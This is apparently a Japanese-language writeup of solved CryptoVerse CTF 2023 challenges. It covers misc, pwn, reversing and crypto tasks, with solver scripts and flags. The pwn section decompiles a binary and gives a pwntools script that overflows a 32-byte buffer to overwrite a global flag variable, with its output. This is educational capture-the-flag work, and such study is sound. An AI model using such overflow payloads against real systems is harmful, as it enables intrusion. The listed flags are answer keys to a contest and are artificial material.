この大会は2023/5/7 2:00(JST)~2023/5/8 14:00(JST)に開催されました。
今回もチームで参戦。結果は3602点で364チーム中57位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。
cvctf{welcome_to_cvctf_2k23!}
Baby Calculator (Misc)
定積分を計算し、答えていく。
#!/usr/bin/env python3 import socket import re from sympy import Integral, Symbol def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) pattern = ': (.+) from (\d+) to (\d+).' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('20.169.252.240', 4200)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) for _ in range(40): data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) x = Symbol('x') m = re.search(pattern, data) expr = m.group(1) x0 = int(m.group(2)) x1 = int(m.group(3)) ans = Integral(expr, (x, x0, x1)).doit().evalf() data = recvuntil(s, b': ') print(data + str(ans)) s.sendall(str(ans).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcome to the Baby Calculator! Answer 40 questions in a minute to get the flag. The difference between your input and the correct answer must be less than 1e-6. [+] Question 1: Evaluate the integral of: -6/x from 3 to 10. > Answer: -7.22383682595562 [+] Question 2: Evaluate the integral of: 5/x from 2 to 9. > Answer: 7.52038698388137 [+] Question 3: Evaluate the integral of: -6*cos(x) from 3 to 5. > Answer: 6.60026569633803 [+] Question 4: Evaluate the integral of: 3*cos(x)+5*cos(x)+3*sin(x) from 2 to 8. > Answer: -0.171453849833986 [+] Question 5: Evaluate the integral of: 9/x+6*x-3*sin(x)+1/x+9*x from 3 to 8. > Answer: 424.841769918493 [+] Question 6: Evaluate the integral of: -4/x-10*x+1/x-2*sin(x)+10*sin(x) from 1 to 4. > Answer: -69.6073156695057 [+] Question 7: Evaluate the integral of: -7*x-3*x-2/x from 2 to 5. > Answer: -106.832581463748 [+] Question 8: Evaluate the integral of: -1*cos(x)+8*cos(x)+2*x from 2 to 5. > Answer: 7.92244808957826 [+] Question 9: Evaluate the integral of: 2*sin(x)+3*x+6*sin(x)-10*sin(x)-6*sin(x) from 3 to 5. > Answer: 34.1892374565094 [+] Question 10: Evaluate the integral of: 9*sin(x)+8/x-5*x+3*x+10*sin(x) from 3 to 4. > Answer: -11.0891720593856 [+] Question 11: Evaluate the integral of: -8/x from 2 to 5. > Answer: -7.33032585499324 [+] Question 12: Evaluate the integral of: -2*x-10*sin(x)-7/x-4*x from 3 to 4. > Answer: -19.6502857497941 [+] Question 13: Evaluate the integral of: -1/x from 1 to 9. > Answer: -2.19722457733622 [+] Question 14: Evaluate the integral of: -1*cos(x)-2*x-7*sin(x) from 3 to 6. > Answer: -12.9283250109855 [+] Question 15: Evaluate the integral of: 3/x+5/x from 2 to 4. > Answer: 5.54517744447956 [+] Question 16: Evaluate the integral of: -9/x from 2 to 5. > Answer: -8.24661658686740 [+] Question 17: Evaluate the integral of: -2*cos(x)+7*x from 3 to 9. > Answer: 251.458003045636 [+] Question 18: Evaluate the integral of: -4*sin(x)-9*sin(x)+2/x-6*sin(x)+3*x from 3 to 5. > Answer: 49.2210902067417 [+] Question 19: Evaluate the integral of: -3*x+2/x-8*sin(x)-6*sin(x)-10*cos(x) from 3 to 6. > Answer: -7.60607161078082 [+] Question 20: Evaluate the integral of: 10/x+6*x-2/x+8*sin(x)-2*sin(x) from 1 to 4. > Answer: 63.2540304493496 [+] Question 21: Evaluate the integral of: -2*x+2*sin(x)-2*cos(x)+9*x from 1 to 10. > Answer: 352.029731861284 [+] Question 22: Evaluate the integral of: 7/x from 3 to 10. > Answer: 8.42780963028155 [+] Question 23: Evaluate the integral of: 1*cos(x)-8*cos(x)+4*x-10*cos(x)+3*x from 3 to 10. > Answer: 330.147399022137 [+] Question 24: Evaluate the integral of: 7*cos(x)-6/x+9*cos(x) from 1 to 7. > Answer: -14.6272110717576 [+] Question 25: Evaluate the integral of: 1/x+6*sin(x)-2*sin(x)-4*sin(x) from 2 to 10. > Answer: 1.60943791243410 [+] Question 26: Evaluate the integral of: 9/x+5*x-5*sin(x) from 3 to 8. > Answer: 150.549925591065 [+] Question 27: Evaluate the integral of: 5/x-3*cos(x)+6/x+3/x from 3 to 8. > Answer: 11.1868948264736 [+] Question 28: Evaluate the integral of: 3*sin(x)+5*x+10*cos(x)-10*x-1*cos(x) from 2 to 5. > Answer: -71.4134223794305 [+] Question 29: Evaluate the integral of: 3*cos(x) from 1 to 10. > Answer: -4.15647628709180 [+] Question 30: Evaluate the integral of: 7*cos(x)-9*x+8*x from 3 to 5. > Answer: -15.7003099790610 [+] Question 31: Evaluate the integral of: -10*x-2*x from 2 to 6. > Answer: -192.000000000000 [+] Question 32: Evaluate the integral of: -5*cos(x)-7*sin(x) from 3 to 7. > Answer: 9.62793030331164 [+] Question 33: Evaluate the integral of: -5*sin(x) from 2 to 10. > Answer: -2.11462346264655 [+] Question 34: Evaluate the integral of: -8*sin(x)+9*x+3/x-4/x+10*x from 1 to 5. > Answer: 224.337441124327 [+] Question 35: Evaluate the integral of: -6/x from 3 to 8. > Answer: -5.88497551807036 [+] Question 36: Evaluate the integral of: -2*cos(x)-2/x+7*cos(x)+7*cos(x) from 2 to 8. > Answer: -1.81185888466738 [+] Question 37: Evaluate the integral of: 9*cos(x)-7*sin(x) from 2 to 8. > Answer: 2.61507499734900 [+] Question 38: Evaluate the integral of: 9*sin(x)-6/x+6/x+3*x+1/x from 2 to 7. > Answer: 58.2223211504813 [+] Question 39: Evaluate the integral of: -7*x-7*x+10*cos(x)-1*sin(x) from 2 to 8. > Answer: -418.928744999284 [+] Question 40: Evaluate the integral of: 6*cos(x) from 3 to 6. > Answer: -2.52321303755276 Congrats! Here's your flag: cvctf{B4by_m@7h_G14n7_5t3P}
cvctf{B4by_m@7h_G14n7_5t3P}
Acceptance (Pwn)
Ghidraでデコンパイルする。
undefined8 main(EVP_PKEY_CTX *param_1) { init(param_1); puts("I wanna go out but I need mom\'s permisison."); printf("Help him: "); read(0,say,0x24); if (accept == 0) { puts("Arg! Why don\'t you help me :(("); } else { print_flag(); } return 0; } undefined8 print_flag(void) { uint *puVar1; undefined local_38 [44]; int local_c; if (accept < 1) { if (accept == -1) { local_c = open("/home/me/flag.txt",0); if (local_c == -1) { puVar1 = (uint *)__errno_location(); fprintf(stderr,"Error num %d\n",(ulong)*puVar1); } else { read(local_c,local_38,0x22); close(local_c); write(1,local_38,0x22); putchar(10); } } else { puts("Nah, You are a liar!"); } } else { puts("You ask a lot and she suspect me :(("); } return 0; } say XREF[2]: Entry Point(*), main:00401308(*) 004040b0 00 00 00 undefine 00 00 00 00 00 00 004040b0 00 undefined100h [0] XREF[2]: Entry Point(*), main:00401308(*) 004040b1 00 undefined100h [1] 004040b2 00 undefined100h [2] 004040b3 00 undefined100h [3] 004040b4 00 undefined100h [4] 004040b5 00 undefined100h [5] 004040b6 00 undefined100h [6] 004040b7 00 undefined100h [7] 004040b8 00 undefined100h [8] 004040b9 00 undefined100h [9] 004040ba 00 undefined100h [10] 004040bb 00 undefined100h [11] 004040bc 00 undefined100h [12] 004040bd 00 undefined100h [13] 004040be 00 undefined100h [14] 004040bf 00 undefined100h [15] 004040c0 00 undefined100h [16] 004040c1 00 undefined100h [17] 004040c2 00 undefined100h [18] 004040c3 00 undefined100h [19] 004040c4 00 undefined100h [20] 004040c5 00 undefined100h [21] 004040c6 00 undefined100h [22] 004040c7 00 undefined100h [23] 004040c8 00 undefined100h [24] 004040c9 00 undefined100h [25] 004040ca 00 undefined100h [26] 004040cb 00 undefined100h [27] 004040cc 00 undefined100h [28] 004040cd 00 undefined100h [29] 004040ce 00 ?? 00h 004040cf 00 ?? 00h accept XREF[4]: Entry Point(*), print_flag:004011fd(R), print_flag:0040121d(R), main:00401319(R) 004040d0 00 00 00 00 undefined4 00000000h 004040d4 00 ?? 00h 004040d5 00 ?? 00h 004040d6 00 ?? 00h 004040d7 00 ?? 00h
任意の32バイトの後に"\xff\xff\xff\xff"を入力し、acceptを上書きすれば、フラグが表示される。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('20.169.252.240', 4000) else: p = process('./acceptance') payload = b'A' * 32 payload += p32(0xffffffff) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to 20.169.252.240 on port 4000: Done I wanna go out but I need mom's permisison. Help him: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff\xff\xff\xff' cvctf{Y34h_1_c4N_G0_n0w_tH4nK_y4u} [*] Closed connection to 20.169.252.240 port 4000
cvctf{Y34h_1_c4N_G0_n0w_tH4nK_y4u}
Simple Checkin (Reverse)
Ghidraでデコンパイルする。
undefined8 main(void) { long lVar1; ulong uVar2; ulong uVar3; uint uVar4; long lVar5; undefined8 *puVar6; undefined *puVar7; undefined *puVar8; long in_FS_OFFSET; undefined8 local_98; undefined8 local_90; int local_7c; int local_78; int local_74; undefined8 local_70; undefined4 *local_68; long local_60; undefined4 *local_58; long local_50; undefined *local_48; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); local_7c = 0xe2; local_70 = 0xe1; local_98 = 0xe2; local_90 = 0; for (puVar6 = &local_98; puVar6 != &local_98; puVar6 = (undefined8 *)((long)puVar6 + -0x1000)) { *(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8); } *(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8); local_68 = (undefined4 *)((long)puVar6 + -0x390); local_60 = (long)local_7c + -1; uVar2 = (((long)local_7c * 4 + 0xfU) / 0x10) * 0x10; for (puVar7 = (undefined *)((long)puVar6 + -0x390); puVar7 != (undefined *)((long)puVar6 + (-0x390 - (uVar2 & 0xfffffffffffff000))); puVar7 = puVar7 + -0x1000) { *(undefined8 *)(puVar7 + -8) = *(undefined8 *)(puVar7 + -8); } lVar1 = -(ulong)((uint)uVar2 & 0xfff); puVar8 = puVar7 + lVar1; if ((uVar2 & 0xfff) != 0) { *(undefined8 *)(puVar7 + ((ulong)((uint)uVar2 & 0xfff) - 8) + lVar1) = *(undefined8 *)(puVar7 + ((ulong)((uint)uVar2 & 0xfff) - 8) + lVar1); } local_58 = (undefined4 *)(puVar7 + lVar1); local_50 = (long)local_7c + -1; lVar5 = (long)local_7c; uVar3 = (((long)local_7c + 0xfU) / 0x10) * 0x10; for (; puVar8 != puVar7 + (lVar1 - (uVar3 & 0xfffffffffffff000)); puVar8 = puVar8 + -0x1000) { *(undefined8 *)(puVar8 + -8) = *(undefined8 *)(puVar8 + -8); } uVar4 = (uint)uVar3; lVar1 = -(ulong)(uVar4 & 0xfff); if ((uVar3 & 0xfff) != 0) { *(undefined8 *)(puVar8 + ((ulong)(uVar4 & 0xfff) - 8) + lVar1) = *(undefined8 *)(puVar8 + ((ulong)(uVar4 & 0xfff) - 8) + lVar1); } local_48 = puVar8 + lVar1; *(undefined8 *)(puVar8 + lVar1 + -8) = 0x1013e7; __isoc99_scanf("%226s",(long)puVar8 + lVar1,uVar4 & 0xfff, (undefined *)((long)puVar6 + (-0x390 - (uVar2 & 0xfffffffffffff000))),lVar5,0); *local_68 = 0xb; *local_58 = 0x68; local_68[1] = 0x7d; local_58[1] = 0xb; local_68[2] = 0xac; local_58[2] = 0xcf; local_68[3] = 0xa8; local_58[3] = 0xdc; local_68[4] = 5; local_58[4] = 99; local_68[5] = 0xef; local_58[5] = 0x94; local_68[6] = 0x1e; local_58[6] = 0x77; local_68[7] = 0xd7; local_58[7] = 0x88; local_68[8] = 0x8c; local_58[8] = 0xed; local_68[9] = 0x94; local_58[9] = 0xe4; local_68[10] = 0x1f; local_58[10] = 0x70; local_68[0xb] = 0xeb; local_58[0xb] = 0x87; local_68[0xc] = 0x9b; local_58[0xc] = 0xf4; local_68[0xd] = 0x2a; local_58[0xd] = 0x4d; local_68[0xe] = 0xb6; local_58[0xe] = 0xdf; local_68[0xf] = 0x80; local_58[0xf] = 0xfa; local_68[0x10] = 0x3a; local_58[0x10] = 0x5f; local_68[0x11] = 0x39; local_58[0x11] = 0x66; local_68[0x12] = 0x39; local_58[0x12] = 0x5f; local_68[0x13] = 0x5f; local_58[0x13] = 0x30; local_68[0x14] = 0x93; local_58[0x14] = 0xe1; local_68[0x15] = 0x5f; local_58[0x15] = 0; local_68[0x16] = 0x70; local_58[0x16] = 3; local_68[0x17] = 0x46; local_58[0x17] = 0x33; : local_68[0xdc] = 0xf7; local_58[0xdc] = 0x99; local_68[0xdd] = 6; local_58[0xdd] = 0x69; local_68[0xde] = 10; local_58[0xde] = 0x7e; local_68[0xdf] = 0xb0; local_58[0xdf] = 0x99; local_68[0xe0] = 0x5f; local_58[0xe0] = 0x7e; local_68[0xe1] = 0x22; local_58[0xe1] = 0x5f; local_74 = 1; for (local_78 = 0; local_78 < local_7c; local_78 = local_78 + 1) { if ((local_68[local_78] ^ (int)(char)local_48[local_78]) != local_58[local_78]) { local_74 = 0; } } if (local_74 == 0) { *(undefined8 *)(puVar8 + lVar1 + -8) = 0x102e14; puts("Try again!"); } else { *(undefined8 *)(puVar8 + lVar1 + -8) = 0x102e06; puts("Good job!"); } if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
local_58とlocal_68をXORすればよい。
#!/usr/bin/env python3 local_58 = [0] * 0xe2 local_68 = [0] * 0xe2 local_68[0] = 0xb local_58[0] = 0x68 local_68[1] = 0x7d local_58[1] = 0xb local_68[2] = 0xac local_58[2] = 0xcf local_68[3] = 0xa8 local_58[3] = 0xdc local_68[4] = 5 local_58[4] = 99 local_68[5] = 0xef local_58[5] = 0x94 local_68[6] = 0x1e local_58[6] = 0x77 local_68[7] = 0xd7 local_58[7] = 0x88 local_68[8] = 0x8c local_58[8] = 0xed local_68[9] = 0x94 local_58[9] = 0xe4 local_68[10] = 0x1f local_58[10] = 0x70 local_68[0xb] = 0xeb local_58[0xb] = 0x87 local_68[0xc] = 0x9b local_58[0xc] = 0xf4 local_68[0xd] = 0x2a local_58[0xd] = 0x4d local_68[0xe] = 0xb6 local_58[0xe] = 0xdf local_68[0xf] = 0x80 local_58[0xf] = 0xfa local_68[0x10] = 0x3a local_58[0x10] = 0x5f local_68[0x11] = 0x39 local_58[0x11] = 0x66 local_68[0x12] = 0x39 local_58[0x12] = 0x5f local_68[0x13] = 0x5f local_58[0x13] = 0x30 local_68[0x14] = 0x93 local_58[0x14] = 0xe1 local_68[0x15] = 0x5f local_58[0x15] = 0 local_68[0x16] = 0x70 local_58[0x16] = 3 local_68[0x17] = 0x46 local_58[0x17] = 0x33 : local_68[0xdc] = 0xf7 local_58[0xdc] = 0x99 local_68[0xdd] = 6 local_58[0xdd] = 0x69 local_68[0xde] = 10 local_58[0xde] = 0x7e local_68[0xdf] = 0xb0 local_58[0xdf] = 0x99 local_68[0xe0] = 0x5f local_58[0xe0] = 0x7e local_68[0xe1] = 0x22 local_58[0xe1] = 0x5f flag = '' for i in range(0xe2): flag += chr(local_68[i] ^ local_58[i]) print(flag)
cvctf{i_apologize_for_such_a_long_string_in_this_checkin_challenge,but_it_might_be_a_good_time_to_learn_about_automating_this_process?You_might_need_to_do_it_because_here_is_a_painful_hex:32a16b3a7eef8de1263812.Enjoy(or_not)!}
Warmup 1 (Crypto)
CyberChefでデコードする。ROT13の後、base58デコードすると、フラグになった。
cvctf{base58_with_rot}
Warmup 2 (Crypto)
Felix Delastelleによって発明された暗号を調べると、Bifid cipherであることがわかる。https://www.dcode.fr/bifid-cipherでHintの文字列をGridに指定して復号する。
CVCTFFUNBIFIDDECODING
cvctf{funbifiddecoding}
Warmup 3 (Crypto)
中国語で作成された換字式暗号。まず同じ文字を同じアルファベットに置換する。
abcdefb ge ghb ibdejk bklglej em dnopgeqbnib dgm. crig obrn, gbrf frpcb srdej mnef drjrkr aej ghb defpbglglej so iecqljt rcc dhrccbjtbi. lm oeu ujkbnigeek ghb rseqb dhljbib, hbnb li ghb mcrt: dqdgm{ljibdunbdhjdlphbn}. iusflg ghb mcrt lj ceabn drib.
これをquipqiupで復号する。
welcome to the second edition of cryptoverse ctf. last year, team maple bacon from canada won the competition by solving all challenges. if you understood the above chinese, here is the flag: cvctf{insecurechncipher}. submit the flag in lower case.
cvctf{insecurechncipher}
Baby AES (Crypto)
keyは実質2バイトと同等のパターンしかないので、ブルートフォースして復号する。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad BS = 16 iv = bytes.fromhex('1df49bc50bc2432bd336b4609f2104f7') ct = bytes.fromhex('a40c6502436e3a21dd63c1553e4816967a75dfc0c7b90328f00af93f0094ed62') found = False for k0 in range(256): for k1 in range(256): key = pad(bytes([k0, k1]), BS) cipher = AES.new(key, AES.MODE_CBC, iv) flag = cipher.decrypt(ct) if flag.startswith(b'cvctf{'): found = True flag = unpad(flag, BS).decode() print(flag) if found: break
cvctf{b4by_AES_s1mpL3}
LFSR Explorer (Crypto)
暗号化処理の概要は以下の通り。
・flag: {}の中身(8バイト) ・states = [flagの後半4バイトの数値化したもの, flagの前半4バイトの数値化したもの] ・mask = 0b10000100010010001000100000010101 ・output = [] ・8回以下繰り返し(i) ・tmp = 0 ・8回以下繰り返し(j) ・(states[i // 4], out) = explore(states[i // 4], mask) ・tmp = (tmp << 1) ^ out ・outputにtmpを追加 ・outputを出力
この条件を前提にz3で解く。
#!/usr/bin/env python3 from z3 import * from Crypto.Util.number import * def explore(state, mask): curr = (state << 1) & 0xffffffff i = state & mask & 0xffffffff last = 0 for j in range(32): last ^= (i & 1) i >>= 1 curr ^= last return (curr, last) with open('output.txt', 'rb') as f: output = f.read() x = [BitVec('x%d' % i, 32) for i in range(2)] s = Solver() states = [x[0], x[1]] mask = 0b10000100010010001000100000010101 for i in range(8): tmp = 0 for j in range(8): (states[i // 4], out) = explore(states[i // 4], mask) tmp = (tmp << 1) ^ out s.add(output[i] == tmp) r = s.check() assert r == sat m = s.model() flag = long_to_bytes(m[x[1]].as_long()) + long_to_bytes(m[x[0]].as_long()) flag = 'cvctf{%s}' % flag.decode() print(flag)
cvctf{G@@d_j0b}
Survey (Misc)
アンケートへの回答を進めると、フラグが選択肢に分断されて記載されていた。
cvctf{thx_4_playing_cvctf_and_hope_you_enjoy_it}